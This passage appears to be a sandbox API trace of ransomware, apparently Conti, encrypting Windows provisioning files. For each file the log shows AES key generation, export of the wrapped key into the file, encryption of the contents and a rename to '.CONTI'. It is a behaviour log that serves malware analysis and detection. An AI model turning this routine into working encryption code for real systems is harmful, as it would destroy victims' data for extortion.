	[0108.163] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.163] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.164] GetProcessHeap () returned 0x1720000
	[0108.164] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.164] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.164] GetProcessHeap () returned 0x1720000
	[0108.164] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589100 | out: hHeap=0x1720000) returned 1
	[0108.164] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.177] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c82b0) returned 1
	[0108.177] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x483fb8c | out: pbData=0x17d567c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.178] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0108.573] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.573] GetLastError () returned 0x0
	[0108.573] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=721) returned 1
	[0108.573] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0108.573] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.573] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.573] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.574] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.574] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.575] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.575] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2d1, lpOverlapped=0x0) returned 1
	[0108.575] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d1, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2e0) returned 1
	[0108.575] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.575] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.576] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.576] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.576] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.576] CloseHandle (hObject=0x3c4) returned 1
	[0108.576] GetProcessHeap () returned 0x1720000
	[0108.576] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.576] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml"
	[0108.576] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.CONTI"
	[0108.576] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0108.577] GetProcessHeap () returned 0x1720000
	[0108.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.577] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.577] GetProcessHeap () returned 0x1720000
	[0108.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589620 | out: hHeap=0x1720000) returned 1
	[0108.577] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.584] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x65152c8 | out: phKey=0x65152c8*=0x17c81b0) returned 1
	[0108.584] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65152cc, pdwDataLen=0x483fb8c | out: pbData=0x65152cc*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.586] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0108.586] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0108.586] GetLastError () returned 0x0
	[0108.586] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=462) returned 1
	[0108.586] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ce
	[0108.586] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.587] SetEndOfFile (hFile=0x338) returned 1
	[0108.587] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.587] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.587] WriteFile (in: hFile=0x338, lpBuffer=0x65152cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x65152cc*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.589] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.589] ReadFile (in: hFile=0x338, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1ce, lpOverlapped=0x0) returned 1
	[0108.589] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1ce, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1d0) returned 1
	[0108.589] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.589] WriteFile (in: hFile=0x338, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1d0, lpOverlapped=0x0) returned 1
	[0108.589] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.589] WriteFile (in: hFile=0x338, lpBuffer=0x65152c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x65152c0*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.589] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.589] CloseHandle (hObject=0x338) returned 1
	[0108.589] GetProcessHeap () returned 0x1720000
	[0108.589] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.590] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0108.590] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0108.590] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0108.591] GetProcessHeap () returned 0x1720000
	[0108.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.591] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0108.591] GetProcessHeap () returned 0x1720000
	[0108.591] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588430 | out: hHeap=0x1720000) returned 1
	[0108.591] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.592] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6515e30 | out: phKey=0x6515e30*=0x17c81b0) returned 1
	[0108.592] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515e34, pdwDataLen=0x483fb8c | out: pbData=0x6515e34*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.592] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.592] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0108.593] GetLastError () returned 0x0
	[0108.593] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=702) returned 1
	[0108.593] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0108.593] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.593] SetEndOfFile (hFile=0x338) returned 1
	[0108.593] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.593] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.593] WriteFile (in: hFile=0x338, lpBuffer=0x6515e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6515e34*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.595] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.595] ReadFile (in: hFile=0x338, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2be, lpOverlapped=0x0) returned 1
	[0108.595] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2be, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2c0) returned 1
	[0108.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.595] WriteFile (in: hFile=0x338, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2c0, lpOverlapped=0x0) returned 1
	[0108.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.595] WriteFile (in: hFile=0x338, lpBuffer=0x6515e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6515e28*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.595] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.595] CloseHandle (hObject=0x338) returned 1
	[0108.595] GetProcessHeap () returned 0x1720000
	[0108.596] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.596] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml"
	[0108.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.596] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.596] GetProcessHeap () returned 0x1720000
	[0108.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.596] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0108.596] GetProcessHeap () returned 0x1720000
	[0108.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e0f88 | out: hHeap=0x1720000) returned 1
	[0108.596] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.597] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6513bf8 | out: phKey=0x6513bf8*=0x17c84f0) returned 1
	[0108.597] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513bfc, pdwDataLen=0x483fb8c | out: pbData=0x6513bfc*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.598] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.598] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0108.598] GetLastError () returned 0x0
	[0108.598] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=460) returned 1
	[0108.598] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0108.598] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.598] SetEndOfFile (hFile=0x338) returned 1
	[0108.599] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.599] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.599] WriteFile (in: hFile=0x338, lpBuffer=0x6513bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6513bfc*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.601] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
